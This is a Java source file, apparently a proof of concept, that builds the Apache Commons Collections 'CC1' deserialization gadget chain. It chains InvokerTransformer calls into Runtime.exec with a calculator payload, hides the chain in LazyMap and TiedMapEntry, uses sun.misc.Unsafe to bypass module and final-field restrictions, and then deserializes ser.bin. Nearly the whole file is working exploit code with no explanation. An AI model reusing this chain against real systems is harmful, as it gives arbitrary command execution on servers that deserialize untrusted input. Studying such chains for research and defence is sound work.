1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception{ patchModule(CC1.class); patchModule(Transformer.class); patchModule(LazyMap.class); patchModule(HashMap.class); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map=new HashMap(); map.put("value","value"); Map map1=LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(map1,"aa"); HashMap<Object,Object> hashMap1 =new HashMap<>(); hashMap1.put(tiedMapEntry,"value"); map.remove("aa"); Class c=LazyMap.class; Method getDeclaredFields0method = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class); getDeclaredFields0method.setAccessible(true); Field[] fields = (Field[]) getDeclaredFields0method.invoke(Field.class, false); Field modifiers = null; for (Field each : fields) { if ("modifiers".equals(each.getName())) { modifiers = each; } } Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); modifiers.setAccessible(true); modifiers.setInt(factoryField,factoryField.getModifiers() & ~Modifier.FINAL); factoryField.set(map1,chainedTransformer);
unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String s) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(s)); Object object=objectInputStream.readObject(); return object; } public static void patchModule(Class clazz){ try{ Class UnsafeClass=Class.forName("sun.misc.Unsafe"); Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe=(Unsafe) unsafeField.get(null); Object ObjectModule=Class.class.getMethod("getModule").invoke(Object.class); Class currentClass=clazz; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); }catch (Exception e){} } }
|